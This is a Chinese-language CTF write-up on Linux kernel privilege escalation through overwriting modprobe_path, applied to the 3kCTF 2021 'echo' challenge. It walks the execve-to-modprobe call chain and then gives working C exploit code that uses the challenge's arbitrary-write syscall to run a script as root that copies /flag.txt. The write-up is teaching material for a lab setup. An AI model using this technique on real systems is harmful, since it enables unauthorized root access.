Linux Kernel - EoP by modprobe & 2021 3kCTF echo nerf

Author: 堇姬Naup

前言

一個酷酷的 kernel pwn 萬解 www

調用鏈

當你去執行一個檔案時會有以下調用鏈

do_execve

第一步去 call do_execve
https://elixir.bootlin.com/linux/v6.13.7/source/fs/exec.c#L2040

1
2
3
4
5
6
7
8
static int do_execve(struct filename *filename,
	const char __user *const __user *__argv,
	const char __user *const __user *__envp)
{
	struct user_arg_ptr argv = { .ptr.native = __argv };
	struct user_arg_ptr envp = { .ptr.native = __envp };
	return do_execveat_common(AT_FDCWD, filename, argv, envp, 0);
}

第一個參數會傳入 filename pointer
之後去 call execveat

do_execveat_common

https://elixir.bootlin.com/linux/v6.13.7/source/fs/exec.c#L1896

1
2
3
4
5
6
7
8
9
10
static int do_execveat_common(int fd, struct filename *filename,
			      struct user_arg_ptr argv,
			      struct user_arg_ptr envp,
			      int flags)
{
	struct linux_binprm *bprm;
	int retval;

	if (IS_ERR(filename))
		return PTR_ERR(filename);

首先他初始化一個叫做 linux_binprm 的東西
他用來儲存可執行文件的相關訊息

之後去檢查 filename 是不是個 error pointer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/*
 * We move the actual failure in case of RLIMIT_NPROC excess from
 * set*uid() to execve() because too many poorly written programs
 * don't check setuid() return code.  Here we additionally recheck
 * whether NPROC limit is still exceeded.
 */
if ((current->flags & PF_NPROC_EXCEEDED) &&
    is_rlimit_overlimit(current_ucounts(), UCOUNT_RLIMIT_NPROC, rlimit(RLIMIT_NPROC))) {
	retval = -EAGAIN;
	goto out_ret;
}

/* We're below the limit (still or again), so we don't want to make
 * further execve() calls fail. */
current->flags &= ~PF_NPROC_EXCEEDED;

檢查是否曾經標記為行程數過多 (PF_NPROC_EXCEEDED)。
且再次確認目前是否仍然超過 RLIMIT_NPROC 限制。
如果真的超過了，就回傳錯誤碼 -EAGAIN，跳到錯誤處理段落 out_ret

flags 相關可以看這邊
https://elixir.bootlin.com/linux/v6.13.7/source/include/linux/sched.h#L1671

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
retval = count(argv, MAX_ARG_STRINGS);
if (retval == 0)
	pr_warn_once("process '%s' launched '%s' with NULL argv: empty string added\n",
		     current->comm, bprm->filename);
if (retval < 0)
	goto out_free;
bprm->argc = retval;

retval = count(envp, MAX_ARG_STRINGS);
if (retval < 0)
	goto out_free;
bprm->envc = retval;

retval = bprm_stack_limits(bprm);
if (retval < 0)
	goto out_free;

retval = copy_string_kernel(bprm->filename, bprm);
if (retval < 0)
	goto out_free;
bprm->exec = bprm->p;

retval = copy_strings(bprm->envc, envp, bprm);
if (retval < 0)
	goto out_free;

retval = copy_strings(bprm->argc, argv, bprm);
if (retval < 0)
	goto out_free;
/*
 * When argv is empty, add an empty string ("") as argv[0] to
 * ensure confused userspace programs that start processing
 * from argv[1] won't end up walking envp. See also
 * bprm_stack_limits().
 */
if (bprm->argc == 0) {
	retval = copy_string_kernel("", bprm);
	if (retval < 0)
		goto out_free;
	bprm->argc = 1;
}

計算 argv 和 envp 的數量，檢查是否超過限制或為空，確保整體不超出堆疊大小限制
將filename、環境變數、參數按順序複製到行程的堆疊空間中

最後去 call 

1
retval = bprm_execve(bprm);

bprm_execve

https://elixir.bootlin.com/linux/v6.13.7/source/fs/exec.c#L1841

1
2
3
int retval;

retval = prepare_bprm_creds(bprm);

先去初始化了 brpm 的 cred

1
2
3
4
5
check_unsafe_exec(bprm);
current->in_execve = 1;
sched_mm_cid_before_execve(current);

sched_exec();

之後檢查 bprm 是否有不安全的 execve() 條件

然後去call exec_binprm

1
retval = exec_binprm(bprm);

exec_binprm

https://elixir.bootlin.com/linux/v6.13.7/source/fs/exec.c#L1796

1
2
3
4
5
6
7
8
pid_t old_pid, old_vpid;
int ret, depth;

/* Need to fetch pid before load_binary changes it */
old_pid = current->pid;
rcu_read_lock();
old_vpid = task_pid_nr_ns(current, task_active_pid_ns(current->parent));
rcu_read_unlock();

這會去儲存當前所在的 pid 到 bprm 中
然後去 call search_binary_handler

search_binary_handler

https://elixir.bootlin.com/linux/v6.13.7/source/fs/exec.c#L1749

1
2
3
4
5
6
7
8
9
10
11
12
13
14
list_for_each_entry(fmt, &formats, lh) {
	if (!try_module_get(fmt->module))
		continue;
	read_unlock(&binfmt_lock);

	retval = fmt->load_binary(bprm);

	read_lock(&binfmt_lock);
	put_binfmt(fmt);
	if (bprm->point_of_no_return || (retval != -ENOEXEC)) {
		read_unlock(&binfmt_lock);
		return retval;
	}
}

search_binary_handle() 遍歷 formats，去嘗試 load_binary()

如果沒有找到對應的 binary handle
就去這個分支

1
2
3
4
5
6
7
8
9
if (need_retry) {
	if (printable(bprm->buf[0]) && printable(bprm->buf[1]) &&
	    printable(bprm->buf[2]) && printable(bprm->buf[3]))
		return retval;
	if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0)
		return retval;
	need_retry = false;
	goto retry;
}

之後去 call request_module

request_module

https://elixir.bootlin.com/linux/v6.13.7/source/kernel/module/kmod.c#L131

request_module() 會試圖通過 modprobe 來載入所需的模組，然後繼續執行該檔案

call_modprobe

https://elixir.bootlin.com/linux/v6.13.7/source/kernel/module/kmod.c#L71

這段最重要的在這裡，他會用 root 權限去執行 modprobe_path
所以說如果我們能覆蓋掉 modprobe_path 成我們的 script
就可以做到 EoP

PS: call_usermodehelper_setup 會在 userspace 創一個 subprocess

1
2
3
4
5
6
7
8
argv[0] = modprobe_path;
argv[1] = "-q";
argv[2] = "--";
argv[3] = module_name;	/* check free_modprobe_argv() */
argv[4] = NULL;

info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
				 NULL, free_modprobe_argv, NULL);

通過 cat /proc/sys/kernel/modprobe
可以查看當前 modprode_path 指向的東西
也就是說當有 kernel 任意寫去任意寫調 modprobe_path 時這裡會改變

modprobe path EoP

準備兩個 file
一個 file 是無法被 kernel 識別的 file (/tmp/exec)
一個是 script，用來將 flag 寫到其他可讀的地方 (/tmp/p)

1
2
3
4
5
6
7
void setup()
{
	system("echo -ne '#!/bin/sh\ncat /flag.txt > /tmp/flag' > /tmp/p");
	system("chmod a+x /tmp/p");
	system("echo -ne '\xff\xff\xff\xff' > /tmp/exec");
	system("chmod a+x /tmp/exec");
}

我們先去修改 mod_probe 成 /tmp/p
再去執行 /tmp/exec 就可以執行我們讀 flag 的操作了

3kctf 2021 - echo

https://static.2021.ctf.the3000.org/challenges/pwn/echo-447e7d55a7bc1f96518a18b7d645320b.tgz
由於這次 exploit 目的在於復現出 modprobe 這個方法來 RCE
因此先把這題 kaslr 關掉

一樣先做一些前置的準備

前置準備

start.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/sh

exec qemu-system-x86_64 \
    -m 128M \
    -nographic \
    -kernel "./bzImage" \
    -append "console=ttyS0 oops=panic panic=1 pti=on nokaslr" \
    -no-reboot \
    -cpu qemu64,+smep,+smap \
    -monitor /dev/null \
    -initrd "./initramfs.cpio" \
    -smp 2 \
    -smp cores=2 \
    -smp threads=1 \

然後解壓整包 file

1
2
3
4
mkdir -p sysfile
mv ./initramfs.cpio ./initramfs.cpio.gz
gunzip initramfs.cpio.gz
cpio -idmv -D sysfile < initramfs.cpio

analyze source code

非常短，他添加了一個 syscall，當你去 call 他時他會往你指定的位置寫入東西
就是一個任意寫

1
2
3
4
5
6
7
8
9
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <asm/uaccess_64.h>

// Syscall number : 548

SYSCALL_DEFINE2(echo, void*, to, void*, from) {
    return copy_user_generic_unrolled(to, from, 8);
}

這邊先來嘗試寫 modprobe_path
第一步要來找他的 address

先把 init 改成 root ，來去印 symbol
setsid /bin/cttyhack setuidgid 0 /bin/sh

通過這種方式可以直接找到 address (0xffffffff81837cc0)

1
2
/ # cat /proc/kallsyms | grep modprobe_path
ffffffff81837cc0 D modprobe_path

並且可以看到 modprobe 現在指在 /sbin/modprobe

1
2
/ # cat /proc/sys/kernel/modprobe
/sbin/modprobe

執行完這份 exploit 後就會改指向 /tmp/a 了

1
2
/ # cat /proc/sys/kernel/modprobe 
/tmp/a
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/syscall.h>


void set_file(){
	system("echo -ne '#!/bin/sh\ncat /flag.txt > /tmp/flag' > /tmp/a");
	system("echo -ne '\xff\xff\xff\xff' > /tmp/unknown");
	system("chmod a+x /tmp/unknown");
	system("chmod a+x /tmp/a");
}

int main(){
	set_file();
	unsigned long modprobepath = 0xffffffff81837cc0;
	printf("0x:%lx\n", modprobepath);
	syscall(548, modprobepath, "/tmp/a");

	return 0;
}

之後我們只要去執行 /tmp/unknown
就會觸發 modprobe_path 了，我們的 flag 就被寫入到一般使用者可以讀的檔案了

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/syscall.h>


void set_file(){
	system("echo -ne '#!/bin/sh\ncat /flag.txt > /tmp/flag' > /tmp/a");
	system("echo -ne '\xff\xff\xff\xff' > /tmp/unknown");
	system("chmod a+x /tmp/unknown");
	system("chmod a+x /tmp/a");
}

void print_flag(){
	system("/tmp/unknown");
	system("cat /tmp/flag");
}

int main(){
	set_file();
	unsigned long modprobepath = 0xffffffff81837cc0;
	printf("0x:%lx\n", modprobepath);
	syscall(548, modprobepath, "/tmp/a");
	
	print_flag();
	return 0;
}